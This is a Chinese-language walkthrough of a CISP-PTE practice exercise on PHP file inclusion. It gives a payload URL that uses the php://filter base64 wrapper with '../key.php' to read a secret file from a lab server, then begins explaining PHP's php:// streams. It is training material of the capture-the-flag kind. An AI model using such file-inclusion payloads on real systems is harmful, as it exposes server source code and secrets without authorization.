PTE练习三 --- 文件包含

mind

基础题目之 --- 文件包含

    PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时，由于传入的文件名没有经过合理的校验，从而操作了预想之外的文件，就可能导致意外的文件泄露甚至恶意的代码注入。

    通过你所学到的知识，测试该网站可能存在的包含漏洞，尝试获取webshell，答案就在根目录下key.php文件中。

    请开始答题！

                                                               Copyright © 360 CISP-PTE

======================================================

第一步：使用php://filter协议读取指定文件，注意要使用base64加密要读取的内容

[Bash shell] 纯文本查看 复制代码

http://123.60.47.130:8883/vulnerabilities/fu1.php?file=php://filter/convert.base64-encode/resource=../key.php

第二步：base64解密如下

参考：

1. PTE学习作业

==============================

php:filter协议在任意文件读取漏洞中的利用（学习总结）

一、php://协议

官网解释为：

       php:// --- Accessing various I/O streams

PHP provides a number of miscellaneous l/O streams that allow access to PHP's own input and output streams，the standard input，output and error file descriptors，in-memory and disk-backed temporary file streams，and filters that can manipulate other file resources as they are read from and written to

个人理解为php在访问或打开文件时为建立一个IO流的方式，而php:/协议则可以访问这个I0流。